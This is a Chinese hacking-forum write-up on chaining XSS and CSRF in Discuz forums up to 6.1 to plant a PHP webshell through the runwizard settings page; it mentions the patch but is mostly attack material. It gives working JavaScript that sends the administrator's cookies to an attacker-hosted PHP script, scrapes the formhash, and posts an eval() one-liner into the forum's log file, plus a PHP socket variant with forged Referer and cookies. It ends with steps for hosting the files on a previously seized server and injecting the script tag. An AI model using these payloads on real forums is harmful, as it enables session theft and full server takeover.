Discuz XSS得webshell
- N( }$ J& ~5 R' n/ a5 B4 sBy racle @tian6.com; V8 u/ I6 x C/ ^, P% K8 s; Z
欢迎转帖.但请保留版权信息., z2 j1 j+ P& @ ~0 g5 k; m
受影响版本 iscuz<=6.1.0,gbk+utf+big5
: |3 a- ^$ G5 W _3 h- v% `, Y) {* e8 W# v% U1 g6 V( Q# ~7 H7 @7 {
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.* Q H( P5 ?1 G. d0 t
" j- m& n' E3 @; s6 `
$ L0 V$ W: w; C
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706$ H/ a# I) F$ R8 J7 ^% V
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
; |: w8 e% ^4 Q: {0 _ y; H- w, i7 ~* x+ G
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..) A4 \+ p7 M0 h3 u* X- M- F
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS5 }/ q; C- Q6 F3 f
) g) b/ h+ c# N, U! b
! A# ?% m l8 v1 C9 v
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------3 w/ w" k% G3 ~0 M; }& h" i' e
( k- k# A7 O8 e0 R& [
1 w) m/ k- k$ ?' E# {
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
" |, @( E {5 W' V3 p' Z$ n) r+ \) |3 B6 D4 @ \; V! {
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.8 @* I2 c5 Z7 F3 {
/ o* Q$ {7 G2 n5 |+ tproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
9 O: k' C x3 Q9 L1 e6 Q
( [" w4 b2 t! k. p" L/ z& k. E; [' E. H( \* G( N
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
' o3 l0 ?( @" A9 E( @1 R2 |$ j3 D! e q, r* C! s$ G
global $runwizardfile, $runwizardhistory;& G9 t" ~5 v3 m* n5 Y0 y7 B, H, \
" w5 T, `5 c& M4 A$ p% p9 \# u $fp = fopen($runwizardfile, 'w');
/ \6 A( \3 Q4 u. j, Y7 ~7 O
* B: h" M, ]. x4 b fwrite($fp, serialize($runwizardhistory));
2 r. s8 e- ? P9 `- y# ^7 ?5 W- x, z+ j1 {& v: I
fclose($fp);: I1 T4 L! l9 I) c
+ j2 t( G% U0 I+ A& G
}+ }6 p% Z/ _. ~: o( N4 N
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里./ v$ G: v, e; P; u3 f0 P3 t2 j$ ]
以下是修补的办法:function saverunwizardhistory() {* {% j3 L9 Q. |. E/ t2 F) A
1 ?9 O5 @5 ^% B# b* i8 K9 _4 b global $runwizardfile, $runwizardhistory;
* a2 f. z8 `) x3 x/ h" ]$ f( Z0 O
$fp = fopen($runwizardfile, 'w');: l, X6 t% C. S( e& y
& m/ A. J. r; N+ Q' p" n
$s = '<?php exit;?>';
9 e) Q5 O# i; \- g( w+ u. e! y% f# ?
$s .= serialize($runwizardhistory);
. W/ U Z% r$ e" e" }0 o. I3 S% B: ^7 [* n" V" m
fwrite($fp, $s);
* A1 s1 k& ?2 z3 V; {9 I- l. P' i' E
fclose($fp);
" b$ u$ H' @- u. J$ l; q- Z' l
}6 e* B+ e' i, x* _
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
1 I& y9 n1 x0 A' w
! z* ?; N$ U4 w. p' ~5 [
! U) e5 i* d0 J' D6 V F- d, N% o2 E1 F5 R+ {5 o3 A
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------4 E1 F: G4 s# w1 s
6 D$ U* t' g3 E- s2 g
B) T2 H$ P/ t J
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.. Q" X2 W. _# ~8 c2 _
, [4 O5 |; z1 g" _2 J我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
3 y! C& g' `' c7 b o5 H: ?" a- G8 K$ h/ M# e
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
2 N& q4 j7 g5 e2 n; `- y
! z9 b8 t% c: t# @5 g" I$ ~首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
; @. P4 k w7 e7 ~! S7 m4 C4 t7 K3 A: ^1 S( S/ G( h. s7 K
var url="http://目标网站/admincp.php"; ' ^7 ~. }3 P# W7 J7 R
7 D" f6 z/ m$ X9 E: z' s
/*获得cookies*/
" o" ~) e- ?9 c1 j8 f: |& N J
2 p# }. f6 A, L lfunction getURL(s) {. @9 F f- z; }2 b- G9 u" v3 G
6 \ |6 v; E0 ^. L9 Zvar image = new Image();& D+ V2 `7 L$ n% \# g& q
" a8 t' l c! s0 G% Z4 E6 p) d
image.style.width = 0;9 R; x" h0 m/ |% n
g0 k: Q% G {. C- q) P1 J& Oimage.style.height = 0;* S" Y1 b* Y5 g6 I. d
! q9 M& e( ]7 Y2 |
image.src = s;! W3 s5 R0 i/ R. f6 F# `
, ~3 z* y. f0 \}$ c7 _" J1 o6 G" o8 o o2 q2 U3 h
' _/ ^* S/ b3 A% wgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php1 {5 e+ L9 i l8 \5 C& ~7 N0 ]
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
1 t- D: K- C: Q& I+ g6 K o复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
/ i) q6 f% C; D7 V& q" {! C& {4 L' A' e# c- ~( @' m8 u
. X9 P$ y! U, i# s获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";; l' D5 R7 I. v v, b& y
# }9 @% m6 a' H+ P( Q8 s
) s. F" B9 n! K* j' x# }
0 F% L- m5 Q- g/*hash*/
- _7 {4 Z# T! j8 @+ ?! c6 i
# R- |( n7 C5 f% `$ a# X( \/ Q- uvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");! N n6 M3 b& S! y9 f+ d
& r/ f7 |) B& W4 o' T( x: m$ C
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
7 G- `( X* M; J z- y3 U8 b+ ?8 z+ `5 f1 n+ f
xmlHttpReq.send();2 w8 |- O9 I& t; }/ y7 g
$ i$ ^' k( B# s _6 [
var resource = xmlHttpReq.responseText;
1 V6 c) i/ N, X4 u' q2 o; `9 l# g! }! A& J
var numero = resource.search(/formhash/);4 o# G( _- }( c5 h6 @0 G
* Y% X( N! p9 h
var formhash=encodeURIComponent(resource.substr(numero+17,8));
' G# X) ?, k: T$ A$ B# ?+ \) ]; F; C7 l0 v1 I$ D; h
1 }/ c) @: X& X; B1 `$ W I( Y U) T2 ]
4 X, F6 s; a3 n# w: T/ j: }
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
8 u; Y0 R5 Q/ q) p+ J9 W5 {* i2 A' Z
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 + ~6 O% I( K- X6 E+ P2 Z6 C& U. m! c( `
; Q- w) M! i0 _$ q+ JxmlHttpReq.setRequestHeader("Referer", url);$ I, w* X4 I8 m0 ]
% k0 ]. {5 L) G4 ]
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");- g8 B( R; D. Z7 p- E
& O6 C7 p2 t5 y6 O$ I6 D$ d
xmlHttpReq.setrequestheader("content-length",post.length); ' P0 H% W' n( u# d
5 x$ {2 q1 F5 f( h/ P, x
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
1 ]. Z% S; r1 b' e8 y3 w" F% N2 h
1 O; S: f) {: kxmlHttpReq.send(post);//发送数据2 B- q& i( j9 r0 t1 E9 }2 c1 K
复制代码这里HASH我假设正确,这样提交,也无须cookies
# N2 Z- z1 k F% w; f! a$ j4 h& P' r
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
/ F2 y0 ?. b$ I. E5 X2 ~7 [5 a! ~8 H9 M, S y9 u. C
if (!$sock) die("$errstr ($errno)\n");$ ?% d- |7 C% ]" f+ h. e) H
+ d9 x5 E& [! O
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';" M K3 a7 ?2 T% e, Q6 p
* m( h2 k7 r0 E& Z- D+ k
: S( {2 z4 _& r6 K! V O' B2 [
8 K6 @+ u6 B9 ~- C3 Rfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");, ~( Y' A' V2 y% Q' X, ]4 U! g
$ k- o& @! s0 K% }7 }0 s
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");( g7 E" {, F' `8 f5 [, u& |
; E# s/ y7 K5 ]( M w$ x/ k
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");! E6 L; \# J* H4 b( l- o9 X) k
0 b( F3 Z1 {1 _' G! c+ `' Nfwrite($sock, "Accept-Language: zh-cn\r\n");
7 H& e) _! \7 M: S+ I* b$ g! \1 j: U b
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");( U7 g# B' F2 k8 c9 Y/ T
' n% E) `9 A: z* ^+ \fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
! G: R" _: p$ T3 J2 E+ m, j% k- L: q* n6 V4 v" ~
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
" y+ Q3 b3 P h% B! w' i# w+ n. o. S) }9 l! M' n
fwrite($sock, "Host: $url\r\n");0 t3 d9 {% w( w! X) M9 L: {5 l
+ z1 g0 K7 a0 ^1 h4 z% B+ y- O8 U v
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
( Z% k3 ^5 P {+ B, j$ y: `1 W) J' x5 y; L& W: s$ d
fwrite($sock, "Connection: Keep-Alive\r\n");) m6 g9 j( |" n3 A. ?* }0 l
% d7 `0 ?5 U/ l/ T
fwrite($sock, "Cache-Control: no-cache\r\n");
. \2 c7 m' ]. Z7 V
2 R; B k( L4 B7 J# Yfwrite($sock, "Cookie:".$cookies."\r\n\r\n");9 N( W3 K( |% C ]
9 d7 L2 |! B( K6 {" l
fwrite($sock, $data);
* a6 H+ }, O3 J6 H$ Z" T/ {4 k K! r/ }' T1 d6 a3 q/ z5 u
: c7 B+ p$ Y/ Y3 [; d
# U" v. U B2 y* c; i5 ~
$headers = "";
: |! h( n$ H0 p6 j) c* U* ? K5 T1 Q- }9 z) {. D
while ($str = trim(fgets($sock, 4096)))" t8 z& {7 `' ~# }. l
4 e0 d) ?- n- z, i6 t0 M6 M
$headers .= "$str\n";7 ?* Q, j8 m9 K1 x# n2 L1 i9 r
, _* f& m$ t9 W: N& zecho "\n";
+ V _3 ]" b/ y; c
% p5 W7 W' |1 y$body = "";
* }* H3 c9 y( b; h: [. U0 D
' t4 Q7 {- Y+ Q) z: |" Jwhile (!feof($sock))% y% `4 r" \7 U) B! g( m
4 Z& a6 m# y6 z' N6 G $body .= fgets($sock, 4096);4 e) E4 O0 Y u( e& t& A/ M
$ @- V: e9 X5 ~$ h% I6 D/ I* f
fclose($sock);
. b* x. a1 x! S* b* H$ u N2 Z3 U
echo $body;. Y/ G% w( E+ s
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^- }# i4 E1 u7 t
! F0 a$ o+ t% g
. {- |2 m1 L9 b( T% C5 {
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
% N% o( O4 p( `+ c4 y0 l/ U- C$ f0 ]( g' h# G
- x, |- z5 o0 C1 HP SOCKET利用方法首先打开racle.js) v) {$ @5 |8 y9 g' j# G
# d# y4 V4 E h4 i8 b2 E; M' }4 Pvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home$ a' ~2 ~! o7 P& k& ]0 S4 g2 @
{! `; W" m8 ] b* _* {5 }1 n) C
! @' l4 C$ E8 {5 o. e I! a, S" p0 G3 g
然后打开racle@tian6.php \" J- w* u: u1 ?% ^1 P$ n3 z
8 d2 T; ]( r% V ]& A; J$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
+ Y4 n+ ?8 E1 q& A" @0 h& ~% d, W
# s8 z* w9 z: K7 w2 O1 ]/ P& j" w! ]3 |9 M' ~7 q
1 o q `& }- D! C0 c8 @. T如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:; e/ y9 K* i& N4 q/ ?
8 m6 m) w4 G5 l8 zgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
* d: ]. e: Y0 v9 }- x1 s0 J3 L2 R& f0 d6 L+ O8 L6 ~
为4 M' M1 q( u2 `# v4 P
2 s, m! W0 {9 @; l, h; ?. CgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
# U% j5 V6 }0 F( J% b% g' M% Y复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
; _( {0 F3 `5 ~
/ e4 w% _& l5 J% s% j& w
5 F7 k7 ~& O3 Q* M, _2 }. D% F5 V& a" x3 J c% j4 ? U
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:* ~" p8 \1 J# K. ]: F
8 [2 L2 y( w$ B! ^$ r5 ?# ^- Fvar formhash=encodeURIComponent(resource.substr(numero+17,8));
3 q- Y$ A7 \" u6 t# |
# K& V% y) s9 t3 T$ n- Z为
0 n. E) b( o' E0 {- w% g/ I# w* R
1 Z' T* _) W; A5 J! Lvar formhash=encodeURIComponent(resource.substr(numero+9,8));
6 M3 R% c) I: I5 y7 U复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
: Z6 g. A' O, R) f' E" A, F$ m# t% W5 l& x Y# N o
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.; m' j) r' p0 O
$ R3 `+ Z2 l6 m2 J% l- l如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.2 T" [) ~5 H8 @( U8 ]
' f' B2 C9 S& y0 G不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧." z9 S2 m5 \: a5 S. h* C
5 z( O4 f4 V2 ~
|